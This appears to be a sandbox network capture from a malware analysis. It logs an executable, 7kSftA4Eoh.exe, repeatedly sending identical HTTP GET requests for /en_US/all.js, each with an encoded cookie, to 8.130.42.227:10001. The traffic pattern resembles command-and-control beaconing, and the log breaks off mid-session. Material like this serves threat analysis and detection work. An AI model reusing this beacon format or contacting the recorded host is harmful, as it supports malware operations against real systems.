Oct 1, 2024 09:17:09.789865971 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:09 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49740	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:09.902760983 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:13.878774881 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:13 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49742	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:13.995946884 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:14.961479902 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:14 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49744	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:15.074542046 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:16.042283058 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:15 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49747	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:16.159049988 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:17.115231991 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:16 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49749	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:17.230444908 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:18.198241949 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:18 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49751	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:18.323998928 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:19.277784109 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:19 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49752	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:19.387712955 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:20.348330021 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:20 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49753	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:20.464828014 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:21.432746887 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:21 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49754	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:21.544409037 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:23.040863037 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:22 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49755	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:23.153708935 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:24.109930038 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:23 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49756	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:24.230339050 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:25.186378002 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:25 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49757	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:25.295239925 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:26.245187044 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:26 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49758	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:26.370908976 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:27.329121113 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:27 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49759	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:27.449290991 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:28.415271044 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:28 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49760	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:28.527602911 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:29.481961012 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:29 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49761	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:29.605470896 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:31.127780914 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:30 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49762	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:31.246192932 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:32.766760111 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:32 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49763	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:32.893191099 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:33.850868940 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:33 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49764	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:33.964926004 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:34.933923960 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:34 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49765	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:35.042886019 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:36.009809971 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:35 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49766	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:36.122195005 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:37.091801882 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:36 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49767	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:37.214812040 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:38.179536104 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:38 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49768	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:38.308451891 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:39.265749931 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:39 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49769	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:39.414067030 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:40.358573914 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:40 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49770	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:40.480554104 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:41.456600904 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:41 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49771	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:41.574184895 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:42.535255909 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:42 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49772	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:42.656169891 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:43.632132053 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:43 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49773	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:43.747241974 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:44.697855949 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:44 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49774	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
